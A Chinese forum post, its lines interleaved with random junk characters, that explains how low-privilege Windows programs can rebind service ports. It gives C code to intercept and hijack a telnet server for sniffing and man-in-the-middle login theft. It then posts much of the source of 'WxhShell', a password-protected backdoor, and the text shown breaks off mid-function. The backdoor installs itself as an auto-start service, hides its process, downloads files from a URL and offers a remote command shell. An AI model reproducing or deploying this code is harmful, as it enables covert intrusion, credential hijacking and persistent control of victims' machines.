社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14113阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6*cG>I.Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5!u.w  
?nJ7lLQA  
  saddr.sin_family = AF_INET; ;cd{+0  
Yn4c6K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); < .&t'W  
[` ~YPUR*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sG`||Kb;n  
6wC|/J^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u}Vc2a,WV  
s8Kf$E^?e.  
  这意味着什么?意味着可以进行如下的攻击: l G12Su/  
7|LJwXQ-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qa wb9Iud0  
T- ID{i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^_ <jg0V  
#mwV66'H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 R2WEPMH%  
T.O^40y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ',j'Hf  
wr{03mQHxp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f>\OT   
w='1uV<6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ktLXL;~X  
\~!9T5/*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z*S 9pkWcF  
e@'rY#:u  
  #include }YJ(|z""  
  #include ?Q1(L$-=  
  #include g.OBh_j-v  
  #include    &EKP93  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WF\ hXO  
  int main() +shT}$cb1  
  { ;@p2s'(  
  WORD wVersionRequested; OrP-+eg  
  DWORD ret; G0Zq:kJ  
  WSADATA wsaData; #k2&2W=x  
  BOOL val; j~,7JJ (y  
  SOCKADDR_IN saddr; CqX2R:#  
  SOCKADDR_IN scaddr; Li~(kw3  
  int err; lxoc.KDtR  
  SOCKET s; fTiqY72h  
  SOCKET sc; 2GOQ|Z  
  int caddsize; &09z`* ,  
  HANDLE mt; u4TU"r("A  
  DWORD tid;   >!O3 jb k  
  wVersionRequested = MAKEWORD( 2, 2 ); Nf8."EDUW  
  err = WSAStartup( wVersionRequested, &wsaData ); -5,QrMM<  
  if ( err != 0 ) { @w&VI6  
  printf("error!WSAStartup failed!\n"); p48M7OV  
  return -1; 0STtwfTr:  
  } XH4!|wz  
  saddr.sin_family = AF_INET; `&$"oW{HW  
   )1ia;6}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 7[5g_D t  
*0]E4]ZO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x&9}] E^<  
  saddr.sin_port = htons(23); Qr]xj7\@i  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }Kc[pp|9<  
  { Ug>yTc_(7  
  printf("error!socket failed!\n"); Z7RGOZQ}G  
  return -1; `:cnu;  
  } DpjiE/*  
  val = TRUE; }[ LME Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z-fP #.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [uK*=K/v  
  { ] -"~?  
  printf("error!setsockopt failed!\n"); s\ft:a@  
  return -1; c:etJ  
  } t"M&Yy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0,+RF "R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %T@3-V_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gTWl];xja  
?B ; +,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G)5w_^&%  
  { ZN>oz@j Y  
  ret=GetLastError(); )6U&^9=  
  printf("error!bind failed!\n"); 5W"&$6vj  
  return -1; BwtjTwd  
  } ucP}( $  
  listen(s,2); &LM@_P"T  
  while(1) r&sm&4)p-5  
  { x95[*[  
  caddsize = sizeof(scaddr); t mAj  
  //接受连接请求 g a|RW0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3YT>3f!\  
  if(sc!=INVALID_SOCKET) 'o=`1I  
  { ;u`zZb=,[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S^nshQI  
  if(mt==NULL) l H:Y8j  
  { gi!{y   
  printf("Thread Creat Failed!\n"); 2mUq$kws  
  break; SK f9 yS#  
  } ut z.  
  } =" Q5Z6W  
  CloseHandle(mt); l>K z5re^  
  } fw aq  
  closesocket(s); !f5I.r~  
  WSACleanup(); d`]| i:*q  
  return 0; R2{y1b$l  
  }   *Pj[r  
  DWORD WINAPI ClientThread(LPVOID lpParam) F<SMU4]YdG  
  { d|5V"U]W;  
  SOCKET ss = (SOCKET)lpParam; j8WMGSrrF  
  SOCKET sc; ! bbVa/  
  unsigned char buf[4096]; xo{3r\u?}  
  SOCKADDR_IN saddr; ZuZe8&  
  long num; yZ?|u57  
  DWORD val; I4'mU$)U  
  DWORD ret; N8a+X|3]0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p6~\U5rXm  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Yw7+wc8R  
  saddr.sin_family = AF_INET; db$wKvO1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P5 GM s  
  saddr.sin_port = htons(23); N-* ^V^V  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )IUeWR  
  { vg@kPuOiO  
  printf("error!socket failed!\n"); uNnx i  
  return -1; L3[r7 b  
  } [/_M!&zz2  
  val = 100; H^y%Bi&^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;/gH6Z?  
  { FPj j1U`C  
  ret = GetLastError(); r[; .1,(  
  return -1; F-i`GMWC  
  } 8W' ,T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ["l1\YCi  
  { }{"a}zOl  
  ret = GetLastError(); yVA<-PlS<  
  return -1; lm'L-ZPN  
  } r|!w,>.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9MfBsp}c  
  { E?%SOU<  
  printf("error!socket connect failed!\n"); .xJW=G{/  
  closesocket(sc); 951"0S`Lo  
  closesocket(ss); cRYnQ{$'  
  return -1; CBaU$`5  
  } Gvg)@VNr  
  while(1) J9s4lsea  
  { cp@(y$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  L~F"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OO)m{5r,{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E.*TJ  
  num = recv(ss,buf,4096,0); 6zuWG0t  
  if(num>0) 5 9$B z'LY  
  send(sc,buf,num,0); #H9J/k_  
  else if(num==0) ! 63>II  
  break; Z"spua5  
  num = recv(sc,buf,4096,0); tbz?th\#  
  if(num>0) r![RRa^  
  send(ss,buf,num,0); j2GO ZKy  
  else if(num==0) J:6wFmU  
  break; bb<qnB  
  } _86pbr9  
  closesocket(ss); aD yHIh8  
  closesocket(sc); 5Fh?YS=  
  return 0 ; a<AT;Tc  
  } o$dnp`E  
Nb.AsIR^  
5?-cP?|.9  
========================================================== }bj dK  
W)WL1@!Z  
下边附上一个代码,,WXhSHELL 6=ukR=]v  
y$6m|5  
========================================================== {Rc!S? 8  
Y@)iPK@z  
#include "stdafx.h" _`6fGu& W  
/?<tjK' "H  
#include <stdio.h> JNY;;9o  
#include <string.h> lPcp 17U  
#include <windows.h> tqI]S X  
#include <winsock2.h> V&7jd7 2{  
#include <winsvc.h> 5AmY rXZ  
#include <urlmon.h> h\+U+ ?u  
oK cgP  
#pragma comment (lib, "Ws2_32.lib") l2>ka~  
#pragma comment (lib, "urlmon.lib") _Wcr'*7  
"`pI! nj  
#define MAX_USER   100 // 最大客户端连接数 Vc}#Ok  
#define BUF_SOCK   200 // sock buffer Mm7l!  
#define KEY_BUFF   255 // 输入 buffer S *3N6*-l"  
dz^l6<a"n  
#define REBOOT     0   // 重启 1pe eecE  
#define SHUTDOWN   1   // 关机 DPENYr  
IyTL|W6  
#define DEF_PORT   5000 // 监听端口 ;CbQ}k  
j$Ttoo  
#define REG_LEN     16   // 注册表键长度 c.5?Q >!+  
#define SVC_LEN     80   // NT服务名长度 q}-q[p? 5  
-{z.8p}IW  
// 从dll定义API (1.E9+MquU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6"+/Imb-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U`gQ7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]"'$i4I{R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z+ybtS>pZ  
JZ#O"rF  
// wxhshell配置信息 d*7nz=0&$  
struct WSCFG { L<HJ!  
  int ws_port;         // 监听端口 i:ar{ q  
  char ws_passstr[REG_LEN]; // 口令 :W'Yt9v)  
  int ws_autoins;       // 安装标记, 1=yes 0=no J23Tst#s  
  char ws_regname[REG_LEN]; // 注册表键名 >;@ _TAF  
  char ws_svcname[REG_LEN]; // 服务名 bn`1JI@S4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Uj!3H]d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /jJi`'{U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tb;!2$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2qEm,x'S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BE n$~4-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }?f%cRT$  
0IHcyb  
}; J }?F4  
*P4G}9B|9:  
// default Wxhshell configuration c_#\'yeW  
struct WSCFG wscfg={DEF_PORT, I!IWmU6FN  
    "xuhuanlingzhe", 3QL I|VpO  
    1, 9NCo0!Fb  
    "Wxhshell", 2z/qbzG7  
    "Wxhshell", S1 22. I  
            "WxhShell Service", RS&l68[6  
    "Wrsky Windows CmdShell Service", g'G"`)~ 2  
    "Please Input Your Password: ", ?-^eI!  
  1, FJ}RT*7_C  
  "http://www.wrsky.com/wxhshell.exe", sQt]Y&_/@  
  "Wxhshell.exe" }Dk*Hs^E  
    }; H8[ L:VeNT  
Fb#_(I[aj  
// 消息定义模块 wLeP;u1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8l(_{Y5(-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fVCpG~&t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w_-v!s2  
char *msg_ws_ext="\n\rExit."; y8T%g(  
char *msg_ws_end="\n\rQuit."; m`(5B  
char *msg_ws_boot="\n\rReboot..."; ?C#=Q6  
char *msg_ws_poff="\n\rShutdown..."; '~?\NeO=  
char *msg_ws_down="\n\rSave to "; zyNg?_SM  
+bwSu)k  
char *msg_ws_err="\n\rErr!"; ZJev_mj  
char *msg_ws_ok="\n\rOK!"; 0pP;[7k\  
zUg-M  
char ExeFile[MAX_PATH]; }eA2y($N  
int nUser = 0; ~9.0:Fm<  
HANDLE handles[MAX_USER]; HorFQ?8  
int OsIsNt; C[h"w'A2  
(<f`}, QxD  
SERVICE_STATUS       serviceStatus; Y`@:L'j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <u\j 4<p  
jOs&E^">&B  
// 函数声明 B%95M|  
int Install(void); >"qnuv G  
int Uninstall(void); R +H0+omj  
int DownloadFile(char *sURL, SOCKET wsh); <uXZ*E  
int Boot(int flag); cPcp@Dp  
void HideProc(void); _97A9wHj  
int GetOsVer(void); Z1j3F  
int Wxhshell(SOCKET wsl); 7hPiPv  
void TalkWithClient(void *cs); ;0lHi4 c0  
int CmdShell(SOCKET sock); E0XfM B]+  
int StartFromService(void); 'UGkL;  
int StartWxhshell(LPSTR lpCmdLine); eR,ePyA;  
m Cvgs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ba$&4?8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E"p;  
*n $=2v^A  
// 数据结构和表定义 d(u"^NH;  
SERVICE_TABLE_ENTRY DispatchTable[] = qKX3Npw  
{ m44Ab6gpsb  
{wscfg.ws_svcname, NTServiceMain}, EHByo[  
{NULL, NULL} "F nH>g-  
}; "M.\Z9BCt  
'l,ym~R  
// 自我安装 B5'-v%YO+  
int Install(void) v8Ga@*  
{ ,tt]C~\u  
  char svExeFile[MAX_PATH]; jqULg iC  
  HKEY key; ttlFb]zZh  
  strcpy(svExeFile,ExeFile);  egur}  
_tJp@\rOz=  
// 如果是win9x系统,修改注册表设为自启动 k WVaHZr  
if(!OsIsNt) { R pUq#Y:a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5>{S^i~!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4-RzWSFbo`  
  RegCloseKey(key); @J"Gn-f~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L4bx [  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }GV5':W@WG  
  RegCloseKey(key); kk6Af\NZ  
  return 0; 15NeC7GAh  
    } rr/0pa$  
  } S>AM?  
} k+ Shhe1  
else { kXw&*B-/  
"`l8*]z  
// 如果是NT以上系统,安装为系统服务 B}n tD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jw;Tq"&  
if (schSCManager!=0) WCc7 MK  
{ 1D3{\v  
  SC_HANDLE schService = CreateService wxy. &a]  
  ( pY75S5h:  
  schSCManager, Gt >*y.]  
  wscfg.ws_svcname, n#F:(MSOp  
  wscfg.ws_svcdisp, E0 ~\ A;  
  SERVICE_ALL_ACCESS, g\;&Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Zf< j  
  SERVICE_AUTO_START, J]|Zh  
  SERVICE_ERROR_NORMAL, oC"1{ybyl  
  svExeFile, 7f!"vhCXM;  
  NULL, i8CO+Iv*{  
  NULL, 4hRc,Vq  
  NULL, *}mk$bA  
  NULL, cj=6_k  
  NULL |$AoI  
  ); :Fe}.* t  
  if (schService!=0) ]iP  +Y  
  { v#yeiE4  
  CloseServiceHandle(schService); "Dr8}g:X  
  CloseServiceHandle(schSCManager); vUtA@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lOk'stLNa&  
  strcat(svExeFile,wscfg.ws_svcname); -?T:> *]p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E?,O>bCJ5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >93I|C|  
  RegCloseKey(key); X8l|^ [2F  
  return 0; Rn(6Fk?   
    } BO6u<cu"-  
  } j5eX?bi_v  
  CloseServiceHandle(schSCManager); /r Q4JoR>  
} 1|U8DK  
} ;;r}=0V*=  
:PJ 5~7C  
return 1; /XfE6SBz  
} rd#O ]   
o5k7$0:t/  
// 自我卸载 hq.XO=0"k  
int Uninstall(void) M$@Donx  
{ o*\Fj}l-  
  HKEY key; QzV Q}  
VV'K$v3'N8  
if(!OsIsNt) { HN7C+e4U~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X:3W9`s )*  
  RegDeleteValue(key,wscfg.ws_regname); $F^p5EXkc6  
  RegCloseKey(key); H_ecb;|mP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ix.I)  
  RegDeleteValue(key,wscfg.ws_regname); [^rMM1^,OB  
  RegCloseKey(key); (P=q&]l[  
  return 0; h5+L/8+J^z  
  } ()Cw;N{E  
} v'fX'/  
} Dht,!LVb;  
else { `dp]N0nz  
YwYCXFQ|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \%=GM J^[p  
if (schSCManager!=0) y5oC|v7  
{ B<et&r;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $7\!  
  if (schService!=0) g#??Mz   
  { .=I:cniw\r  
  if(DeleteService(schService)!=0) { o8Q+hZB}A  
  CloseServiceHandle(schService); {Z~5#<t  
  CloseServiceHandle(schSCManager); gGdt&9z %  
  return 0; /b ]Yya#  
  } cN]e{|  
  CloseServiceHandle(schService); _s(izc  
  } k|kn#X3X  
  CloseServiceHandle(schSCManager); A9:dHOmT^U  
} !Z0p94L  
} e<.O'!=7Y  
reO^_q'  
return 1; cV|u]ce%1  
} CVk.Ez6  
O4l]Q  
// 从指定url下载文件 G]NnGL<xk  
int DownloadFile(char *sURL, SOCKET wsh) G\\0N^v  
{  xRTr@  
  HRESULT hr; Y1=.46Ezf  
char seps[]= "/"; j B.ZF7q  
char *token; n#\ t_/\  
char *file; N51g<K  
char myURL[MAX_PATH]; xoT|fgb  
char myFILE[MAX_PATH]; |mHxkd  
X3# AYn,  
strcpy(myURL,sURL); ZvSWIQ6  
  token=strtok(myURL,seps); Vm_<eyI2  
  while(token!=NULL) ` D9sEt_/  
  { n"Gow/-;  
    file=token; q8Z,XfF^S  
  token=strtok(NULL,seps); ..Dr?#Cr  
  } 3M@!?=| U  
AbXaxt/[g?  
GetCurrentDirectory(MAX_PATH,myFILE); Hea76P5$P+  
strcat(myFILE, "\\"); ug?])nO.C  
strcat(myFILE, file); z[E gMS!  
  send(wsh,myFILE,strlen(myFILE),0); . #7B10  
send(wsh,"...",3,0); Y<h [5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .#BWu(EYV  
  if(hr==S_OK) i wFI lJ@  
return 0; 8i?Hh?Mf}  
else da,;IE{1u  
return 1; =o<iBbK#|  
+6i~Rx>  
} SniKC qmC]  
0Qa kFt  
// 系统电源模块 =xf7lN'  
int Boot(int flag) i!tF{'*%#  
{ $h)VKW^\  
  HANDLE hToken; I7Uj<a=(q  
  TOKEN_PRIVILEGES tkp; XH"-sZt  
M8,_E\*  
  if(OsIsNt) { Q*GJREC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >^U$2P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DqQ+8 w  
    tkp.PrivilegeCount = 1; <}vult^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #("/ 1N6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @An "ClDa  
if(flag==REBOOT) { O=A(x m#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MT?;9ZV}  
  return 0; ^o|Gx  
} vz^w %67&  
else { )ld !(d=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gv$}>YJ  
  return 0; :SUU)jLq  
} p1mY@  
  } @ff83Bg  
  else { vT&xM  
if(flag==REBOOT) { c!2j+ORz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L'KgB=5K&i  
  return 0; Cnv M>]  
} @71n{9  
else { hj<h]dhp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i#RT4}l"a  
  return 0; m:sT)  
} MU-T>S4  
} HAHLF+k  
j)vfI>  
return 1; 1~|o@CO  
} i_KAD U&mP  
`'gadCTb=  
// win9x进程隐藏模块 2rG;j52))a  
void HideProc(void) InCJ4D  
{ 2b`3"S  
+)cjW"9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gfbeh %  
  if ( hKernel != NULL ) 13lJq:bM  
  {  q\xT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L)!9+!PKD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AD=qB5:  
    FreeLibrary(hKernel); mh8{`W&  
  }  ?[`*z?}  
WF!u2E+  
return; Kj+=?R~}S  
} $vQ#ah/k  
jJ B+UF=  
// 获取操作系统版本 = MP?aH [  
int GetOsVer(void) ;%/Kh :Vg  
{ b;AGw3SF  
  OSVERSIONINFO winfo; e 2@{Ab  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i!U,qV1  
  GetVersionEx(&winfo); W-ctx"9DS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k>ERU]7[  
  return 1; Oosr`e@S  
  else foi@z9  
  return 0; "PI]k  
} C'a%piX  
p3N/"t&>  
// 客户端句柄模块 (oKrIm  
int Wxhshell(SOCKET wsl) ;@&mR <5j  
{ TS~>9h\;  
  SOCKET wsh; <%~`!n,t0  
  struct sockaddr_in client; (8$; 4q[!  
  DWORD myID; a#_=c>h;  
4)zHkN+  
  while(nUser<MAX_USER) HLa3lUo  
{ ~%8T_R/3  
  int nSize=sizeof(client); FU~xKNr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oOj7y>Nm  
  if(wsh==INVALID_SOCKET) return 1; [;E~A  
82z\^a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &/}reE*  
if(handles[nUser]==0) p}r1@L s  
  closesocket(wsh); R}S@u@mOE  
else M zWVsV  
  nUser++; lebwGW,!  
  } !i`HjV0wS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x)h|!T=B~  
:zW I"  
  return 0; >&mNC \PA  
} =jWcD{;1I}  
63EwV p/|  
// 关闭 socket - %5O:n  
void CloseIt(SOCKET wsh) 9 K.B  
{ l[G&=/R@H  
closesocket(wsh); h:J0d~u  
nUser--; h yPVt6Gkj  
ExitThread(0); v*pN~}5  
} &ml7368@  
+Ui @3Q  
// 客户端请求句柄 fC\Cx;q-  
void TalkWithClient(void *cs) \N[Z58R !z  
{ N"+o=nS  
tcm?qro)  
  SOCKET wsh=(SOCKET)cs; $0f(Gc|  
  char pwd[SVC_LEN]; M`~UH\  
  char cmd[KEY_BUFF]; ^>3q@,C]c  
char chr[1]; sFvu@Wm'7W  
int i,j; I &jiH)  
q3CcXYY  
  while (nUser < MAX_USER) { ecZT|X4u  
HoTg7/iK  
if(wscfg.ws_passstr) { ? _>L<Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YoT< ]'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G(n e8L8  
  //ZeroMemory(pwd,KEY_BUFF); fH#*r|~  
      i=0; 49gm=XPm  
  while(i<SVC_LEN) { 3.c0PRZ  
Bc^%1  
  // 设置超时 wd 4]Z0;  
  fd_set FdRead; s\CZ os&  
  struct timeval TimeOut; 7jZE(|G-  
  FD_ZERO(&FdRead); g"F&~y/p  
  FD_SET(wsh,&FdRead); +kMVl_` V  
  TimeOut.tv_sec=8; ) Ekd  
  TimeOut.tv_usec=0; !P_8D*^9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h.~:UR*   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sghQ!ux  
3\!DsPgW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C'_^DPzj  
  pwd=chr[0]; V\!6K  
  if(chr[0]==0xd || chr[0]==0xa) { 323zR*\m  
  pwd=0; ]I+"";oQGB  
  break; }u>F}mUa  
  } ]+!{^h$  
  i++; .w.jT"uD!  
    } 6ojEEM  
E6=JL$"  
  // 如果是非法用户,关闭 socket sv g`s,g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3>+9Rru  
} r&MHww1i  
hJ>Kfm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p H5iv>H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |3a1hCxt  
Dm")\"5\?  
while(1) { _N-.=86*  
&{x%"Aq/  
  ZeroMemory(cmd,KEY_BUFF); T[z}^"  
g?}$"=B   
      // 自动支持客户端 telnet标准   l$1z%|I  
  j=0; !' D1aea5  
  while(j<KEY_BUFF) { m$bX;F}T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v}Gpw6   
  cmd[j]=chr[0]; 1&Fty'p  
  if(chr[0]==0xa || chr[0]==0xd) { 4GiHp7Y&A  
  cmd[j]=0; sp2"c"_+  
  break; :FUefW m  
  } }Sxuc/%:  
  j++; 0G`FXj}L  
    } E!,+#%O>  
B5nzkJV<X  
  // 下载文件 qG=>eRR  
  if(strstr(cmd,"http://")) { 9L"Z ~CUL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wa #$9p~Q  
  if(DownloadFile(cmd,wsh)) fpDx)lQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #]~l]Eq  
  else &8##)tS(y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/3CB  
  } hJkSk;^  
  else { J0 [^hH  
`YK2hr  
    switch(cmd[0]) { j/oM^IY  
  =u*\P!$  
  // 帮助  |>Q ] q  
  case '?': { ,vxxp]#5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  [YGPcGw  
    break; WT-BHB1  
  } )*b dG'}  
  // 安装 *Y4[YnkPE  
  case 'i': { Mdj?;'Yv  
    if(Install()) L7gZ4Hu=`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :|Ckr-k"1e  
    else xD:t$~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TjU g8k  
    break; M_:_(y>l  
    } 3y[uH'  
  // 卸载 x34 4}\  
  case 'r': { zK Y 9 'y  
    if(Uninstall()) f>*D@TrU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xla64Qld  
    else !mM`+XH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H/rJ:3  
    break; aB=&XGV9  
    } n]15 ~GO.  
  // 显示 wxhshell 所在路径 n!Ic.T3PA  
  case 'p': { Q)n6.%V/e  
    char svExeFile[MAX_PATH]; #|ppW fZQ  
    strcpy(svExeFile,"\n\r"); <l:c O$ m  
      strcat(svExeFile,ExeFile); (O&R-5m  
        send(wsh,svExeFile,strlen(svExeFile),0); #><P28m  
    break; ]uikE2nn  
    } jHU5>Gt-}  
  // 重启 ja<!_^h=At  
  case 'b': { 5i<E AKL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p#]D-?CM)  
    if(Boot(REBOOT)) p4Wy2.&Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8)NQt$lWp  
    else { " h D6Z  
    closesocket(wsh); EJ%Kr$51K  
